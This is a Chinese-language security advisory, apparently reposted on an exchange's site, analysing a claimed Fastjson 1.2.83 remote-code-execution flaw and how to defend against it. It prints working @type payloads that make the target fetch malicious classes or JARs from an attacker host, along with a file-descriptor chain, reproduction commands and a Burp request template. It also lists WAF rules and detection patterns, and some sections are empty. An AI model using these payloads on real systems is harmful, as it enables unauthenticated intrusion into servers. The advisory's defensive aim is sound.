Fastjson 1.2.83 “Gadget-Free” 漏洞(0day)深度分析与防御指南

By: rootdata|2026/07/23 08:41:36

Fastjson 1.2.83 在默认 AutoType=false 下仍可触发无需传统 gadget 的远程代码执行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔离环境复现。


摘要


在传统 Java 反序列化漏洞防御体系中,业界普遍存在以下认知盲区:"AutoType 默认关闭就安全"、"固定了 parseObject 的第二参数(顶层目标类型)就安全"、"排空了本地 Classpath 的反序列化 Gadget 依赖就安全"。然而,最新的技术攻防演进彻底打破了这些侥幸心理。


GCSA 全球网络安全联盟今日独家发布本篇技术洞察报告。 报告深入复盘了 Fastjson 1.2.83 在默认 AutoType=false 状态下,依然可触发无需传统 Gadget 依赖的远程代码执行(RCE)的底层根因。目前,该利用技术已在 JDK 8 / 17 / 21 / 25 以及 Spring Boot Loader 隔离环境中端到端复现成功。本漏洞并非传统的"绕过黑名单后寻找本地 Gadget",而是直接将 Fastjson 自身的 Class 元数据探测逻辑扭转为远程恶意 Class 的获取与授权通道。 以下为正文


  • 发布机构:GCSA 全球网络安全联盟
  • 报告类型:独家技术洞察 / 漏洞深度剖析报告
  • 报告日期:2026-07-21
  • 报告状态:已完成源码审计与隔离环境复现
  • 漏洞编号:内部研究编号 FJ-GETRESOURCE-RCE(不对应已公开 CVE)

Fastjson 1.2.83 在默认 AutoType=false 下仍可触发无需传统 gadget 的远程代码执行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔离环境复现。建议立即启用 SafeMode 并迁移 Fastjson 2.x。


  1. 执行摘要


Fastjson 1.2.83 的 ParserConfig.checkAutoType 会把用户可控的 @type 值转换为 class 资源名,并交给当前 ClassLoader 的 getResourceAsStream:

String resource = typeName.replace('.', '/') + ".class";

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);


在能够解析绝对 URL 资源名的 fat-jar ClassLoader 环境中,攻击者可以利用点号替换构造 http:、jar:http: 和 jar:file: URL,从攻击端下载带有 @JSONType 的恶意 class。Fastjson 检测到该注解后会调用 loadClass,并在危险基类检查和目标类型相容性检查之前直接返回该 class。class 被实例化、初始化时即可执行任意代码。


该利用不依赖目标 classpath 中已有的传统反序列化 gadget,且在 Fastjson AutoType=false 的默认状态下仍可触发。固定 JSON.parseObject 的目标类型不能阻止执行;启用 SafeMode 可以在资源访问前阻断正常利用路径。


本报告已使用同一个 JSON payload 在隔离 Linux 容器中完成以下复现:



  1. 漏洞评级



不建议仅凭组件版本给出统一的 CVSS 9.8:普通 AppClassLoader 是负对照,现代 JDK 完整链还依赖能够解析两种绝对 JAR URL 的 loader 和 /proc/self/fd。在满足本报告正向环境的应用中,漏洞效果为无需认证的网络 RCE。


  1. 影响范围与前置条件


3.1 已确认范围


  • 运行时确认:Fastjson 1.2.83
  • JDK 确认:8、17、21、25
  • 操作系统确认:Linux;macOS 使用 /dev/fd 也完成了 JDK 17/21/25 复现
  • loader 确认:Spring Boot 2.7.18 classic loader + JDK 8;Spring Boot 3.2.0 loader + JDK 17/21/25
  • API 确认:JSON.parse,以及固定顶层类型的 JSON.parseObject

3.2 版本范围说明


外部描述中的 1.2.68--1.2.83 更适合作为已知测试范围,而不是漏洞引入版本。源码核对表明,决定性的 class 资源探测代码在 1.2.67 和 1.2.68 中已经存在。本报告仅对 1.2.83 完成了完整跨 JDK 运行时验证。


3.3 利用所需条件


  • 攻击者可以控制传入 Fastjson 的 JSON,且输入中的 @type 会被解析
  • SafeMode 未启用
  • 加载 Fastjson 的 ClassLoader 能把构造后的绝对资源名解析为 URL
  • 受害进程可以连接攻击端 HTTP 服务
  • 现代 Linux 链要求 /proc/self/fd 可读,并且 loader 能解析 jar:file:/proc/self/fd/N!...
  • JDK 需要能够创建正常的远程 JAR 临时缓存;这通常意味着 JVM 临时目录可写

攻击者不需要:


  • 向目标 classpath 写入文件
  • 目标 classpath 预装 TemplatesImpl、JNDI、C3P0、Commons Collections 等 gadget
  • 开启 Fastjson AutoType
  • 控制 JSON.parseObject 的第二个参数

  1. 根因分析


4.1 用户类型名被当作资源 URL


源码位置:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498


核心代码:

String resource = typeName.replace('.', '/') + ".class";

if (defaultClassLoader != null) {

is = defaultClassLoader.getResourceAsStream(resource);

} else {

is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

}


该逻辑假设 resource 只是普通 classpath 路径,但没有限制其协议、绝对路径语义或来源。对于特定 fat-jar loader,以下输入会在替换后变成绝对 URL:

输入类型名: http:..localhost:18081.a


资源名: http://localhost:18081/a.class 因此 getResourceAsStream 从本地元数据查询越界为攻击者可控的网络资源加载。


4.2 远程 class 的 @JSONType 被当作授权依据


Fastjson 使用自己的 ASM ClassReader 解析资源内容:


ClassReader classReader = new ClassReader(is, true);

TypeCollector visitor = new TypeCollector("", new Class[0]);

classReader.accept(visitor);

jsonType = visitor.hasJsonType();


攻击端只需让远程 class 带有 Fastjson 的 @JSONType 注解,即可将 jsonType 置为 true。这里检查的是攻击者提供的字节,而不是一个已经由可信 classpath 加载的类。


4.3 jsonType 触发实际类加载


源码位置:


ParserConfig.java:1500-1503

TypeUtils.java:1759-1792


if (autoTypeSupport || jsonType || expectClassFlag) {

boolean cacheClass = autoTypeSupport || jsonType;

clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

}


TypeUtils.loadClass 依次尝试显式 loader、线程上下文 loader 和 Class.forName。在正向环境中,线程上下文 loader 会再次解析相同的绝对资源名、下载 class 并执行 defineClass。


4.4 @JSONType 早返回绕过后续安全检查


源码位置:


ParserConfig.java:1505-1528


if (clazz != null) {

if (jsonType) {

return clazz;

} // These checks are performed after the jsonType is returned.

if (ClassLoader.class.isAssignableFrom(clazz)

|| DataSource.class.isAssignableFrom(clazz)

|| RowSet.class.isAssignableFrom(clazz)) {

throw new JSONException(...);

} if (expectClass != null) {

// assignability the check is also done later.

}

}


远程 class 一旦携带 @JSONType:

  • 危险基类检查不会执行
  • expectClass.isAssignableFrom(clazz) 不会执行
  • 固定数据绑定类型无法在 class 初始化之前阻止执行

4.5 Exception/Error 后缀形成失败软通道


源码位置:


ParserConfig.java:1537-1542


if (!autoTypeSupport) {

if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {

return null;

}

throw new JSONException("autoType is not support. " + typeName);

}


现代 JDK 第一阶段会因非法内部类名加载失败。让类型名以 Exception 结尾后,Fastjson 不会终止整个 JSON,而是返回 null,使解析器继续处理数组中的 FD 枚举元素。这一分支是单 payload 跨阶段执行的关键。


4.6 SafeMode 的位置


SafeMode 检查位于资源访问之前:

ParserConfig.java:1325-1330


所以默认路径中 SafeMode 能阻止网络请求。不过 AutoTypeCheckHandler 位于 SafeMode 之前(ParserConfig.java:1316-1323);如果应用主动注册了一个直接返回类型的 handler,需要单独审计,不能把 SafeMode 理解为可覆盖自定义 handler 的绝对边界。


  1. 利用链详解


5.1 JDK 8:直接远程 class 加载


最短形式:

{"@type":"http:..localhost:18081.a"}


转换链:

binary type name: http:..localhost:18081.a

resource URL: http://localhost:18081/a.class

class internal: http://localhost:18081/a


JDK 8 接受上述非常规内部类名。Spring Boot 2.7 的 LaunchedURLClassLoader 下载 class 后完成定义、实例化和初始化,恶意 执行命令。

JDK 17+ 同样会完成网络请求,但拒绝内部名中的空路径段,

ClassFormatError: Illegal class name "http://localhost:18081/a"


所以短 http:.. 形式本身只在 JDK 8 完成 RCE。


5.2 现代 JDK 第一阶段:下载远程 JAR


单 payload 的首个数组元素:

{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}


转换结果:

resource URL:

jar:http://attacker:18081/x!/foo/Exception.class


JDK 的 sun.net.www.protocol.jar.URLJarFile.retrieve 会创建 jar_cache* 临时文件,将远程 JAR 复制到该文件。


JDK 17+ 随后拒绝第一阶段 jar:http://... 内部名,但 Fastjson 因 Exception 后缀继续解析数组。


5.3 现代 JDK 第二阶段:重开缓存 FD


后续候选元素:

{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}


转换链:

binary type name:

jar:file:.proc.self.fd.7!.fd7.Exception resource URL:

jar:file:/proc/self/fd/7!/fd7/Exception.class class internal name:

jar:file:/proc/self/fd/7!/fd7/Exception


与 http:// 不同,该内部名的每个 / 分隔组件都非空,因此现代 JVM 接受。攻击 JAR 中为每个候选 FD 准备一个入口:

fd3/Exception.class

fd4/Exception.class

...

fd64/Exception.class


每个 class 的常量池内部名都与对应 FD 的请求类型精确匹配,并携带 @JSONType。命中实际缓存句柄后,Fastjson 加载并实例化该类, 执行命令。


JDK 17 的 class-load 日志中首个命中为:

jar:file:.proc.self.fd.7!.fd7.Exception


5.4 为什么一个 payload 同时兼容 JDK 8 和现代 JDK


JDK 8 直接接受第一阶段 jar:http://... class 并执行


第一阶段 class 执行命令后故意抛出 RuntimeException("stage-one-stop"),阻止 JDK 8 继续尝试无关 socket/pipe FD


JDK 17+ 在 class 初始化前就因第一阶段非法名称失败,随后通过 Exception 软返回进入 FD 枚举阶段


  1. 复现环境与证据


6.1 被测构件哈希


fastjson-1.2.83.jar

SHA-256 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d spring-boot-loader-2.7.18.jar

SHA-256 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16 spring-boot-loader-3.2.0.jar

SHA-256 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b


6.2 一键复现


cd

PULL=1 ./target/getresource-repro/reproduce_fd_chain.sh


期望输出:

JDK 8 : RCE-OK

JDK 17: RCE-OK

JDK 21: RCE-OK

JDK 25: RCE-OK


脚本会:


  • 编译受害 fat jar;
  • 生成带 FD 专用 class 的攻击 JAR;
  • 生成一个 JSON 数组 payload;
  • 在隔离 Docker 网络启动攻击端 HTTP 服务;
  • 分别启动 JDK 8/17/21/25 受害容器;
  • 检查每个容器映射出的 /tmp/fastjson-getresource-rce。

6.3 手工生成攻击 JAR 和 payload


cd ./target/getresource-repro/build.sh ./target/getresource-repro/build_fd_chain.py \

--host attacker \

--port 18081 \

--fd-root /proc/self/fd \

--min-fd 3 \

--max-fd 64 \

--out-jar target/getresource-repro/www-linux/x \

--out-json target/getresource-repro/fd-payload-linux.json


生成物:

Attacker JAR: target/getresource-repro/www-linux/x

JSON payload: target/getresource-repro/fd-payload-linux.json


--host 建议使用不含点号的 DNS 标签或十进制 IPv4。原因不是绕过 localhost, 而是 Fastjson 会把类型名中的所有.都改成 /。例如十进制 IPv42130706433 等价于 127.0.0.1,但不会被点号替换拆开。


6.4 通过 Burp Suite 投递


Burp 只负责向存在 Fastjson 解析点的受害接口发送 JSON;攻击 JAR 仍需由攻击端 HTTP 服务提供。


请求模板:


POST /parse HTTP/1.1

Host: victim.example

Content-Type: application/json

Connection: close

Content-Length: ... [Place the complete contents of fd-payload-linux.json here.]


如果应用使用固定顶层类型,可根据字段结构包装数组,例如:

{"value":[/* All array elements in fd-payload-linux.json */]}


本实验使用 JSON.parseObject(json, BoundEnvelope.class) 解析上述包装,结果仍为 RCE-OK,并正常返回 BoundEnvelope。


6.5 关键边界测试



  1. 修复与缓解建议


7.1 首选:迁移出 Fastjson 1.x


优先迁移至维护中的 Fastjson 2.x,并重新验证所有多态类型、AutoType 和兼容模式配置。不要仅替换 JAR 而不做回归测试。


7.2 立即启用 SafeMode


代码配置:

ParserConfig.getGlobalInstance().setSafeMode(true);


JVM 参数:

-Dfastjson.parser.safeMode=true


注意:应用如注册了 AutoTypeCheckHandler,应同步审计或移除,因为 handler 在 SafeMode 检查之前执行。


7.3 限制反序列化入口


  • 不要把不可信请求直接交给 JSON.parse/JSON.parseObject
  • 在网关或应用入口拒绝任何形式的特殊类型元数据
  • 仅固定顶层 Java 类型不是充分防线,因为嵌套对象仍可处理 @type,且本漏洞的 jsonType 早返回绕过相容性检查

7.4 WAF/ 网关临时规则


临时拦截 JSON key 解码后等于 @type 的请求,并覆盖 URL 参数、请求体及嵌套对象。不能只搜索明文 "@type",Fastjson lexer 会先解码字段名,例如:

{"\u0040type":"..."}

{"\x40type":"..."}


WAF 规则只能作为缓解,不能代替组件升级和 SafeMode。


7.5 出网与运行时加固


  1. 禁止业务 JVM 对非必要外部地址发起 HTTP/HTTPS 连接。
  2. 对应用容器实施最小网络策略。
  3. 在兼容性允许时限制 /proc/self/fd 暴露或使用更严格的容器沙箱。
  4. 审计 ClassLoader 对绝对 URL 资源名的处理,拒绝 http:、https:、jar:、file: 等协议形式。
  5. 监控 JVM 临时目录中的异常 jar_cache* 活动。

  1. 检测建议与 IOC


8.1 请求侧特征


重点关注解码后的 @type 值包含:

http:..

jar:http:..

jar:file:.proc.self.fd.

jar:file:.dev.fd.

!.fd

Exception


单独出现 Exception 不足以告警,应与协议形式、@type 和数组内连续 FD 候选组合关联分析。


8.2 网络侧特征


  • JVM 向异常主机请求无扩展名 JAR 或 .class
  • 同一解析请求期间出现 1--3 次重复 GET/HEAD
  • 请求路径中可能出现 /x、/a.class 或攻击者自定义等价路径

8.3 主机侧特征


  • JVM 临时目录创建 jar_cache*
  • Java 进程通过 /proc/self/fd/N 重新打开自身文件
  • class-load 日志出现类似 jar:file:.proc.self.fd.7!.fd7.Exception

jar:file:.proc.self.fd.7!.fd7.Exception


  1. 结论


本漏洞并非传统的"绕过黑名单后寻找本地 gadget",而是把 Fastjson 自身的 class 元数据探测逻辑变成了远程 class 获取和授权通道。@JSONType 早返回使攻击者提供的 class 在危险基类和类型绑定检查之前被接受;Exception 失败软通道及 JDK jar:http: 临时缓存则将 JDK 8 的直接加载原语扩展到了 JDK 17/21/25。


因此以下常见判断均不成立:


  • "AutoType 默认关闭,所以安全" --- 不成立
  • "固定 parseObject 第二参数,所以安全" --- 不成立
  • "classpath 没有已知 gadget,所以安全" --- 不成立
  • "JKD 17+ 会拒绝 http:// 内部名,所以最多只是 SSRF" --- 不成立

在满足已验证 loader、网络和文件描述符条件的部署中,该问题可以从单个未经认证的 JSON 请求发展为真实远程代码执行。应优先迁移 Fastjson 2.x,并立即启用 SafeMode、收紧出网与 ClassLoader 资源解析边界。


  1. 附件与证据路径


Full research log: target/FASTJSON_1_2_83_RCE_ANALYSIS.md

Reproduction instructions: target/getresource-repro/README.md

JDK 8 short chain: target/getresource-repro/reproduce.sh

JDK 8/17/21/25 Linux full chain: target/getresource-repro/reproduce_fd_chain.sh

Attack JAR/payload generator: target/getresource-repro/build_fd_chain.py

Generated Linux payload: target/getresource-repro/fd-payload-linux.json

JDK 17 class-load evidence: target/getresource-repro/linux-jdk17-classload.log

-- 价格

--

免责声明:本内容仅用于一般品牌传播与信息说明之目的,不构成任何金融、投资、法律或税务建议。文中提及的活动、奖励、线上活动或相关信息,不应被视为对购买、出售、交易任何加密资产,或使用任何服务的推荐、招揽或邀请。加密资产具有高波动性,并存在价值损失风险。WEEX 服务及线上活动的可用性可能因地区而异,并受当地适用法律法规及用户资格要求限制。部分活动可能不适用于某些司法辖区。您有责任确保访问及使用 WEEX 服务符合当地适用法律法规。在参与任何涉及加密资产的活动前,请充分评估相关风险。

猜你喜欢

iconiconiconiconiconicon
客户服务:@weikecs
商务合作:@weikecs
量化做市商合作:[email protected]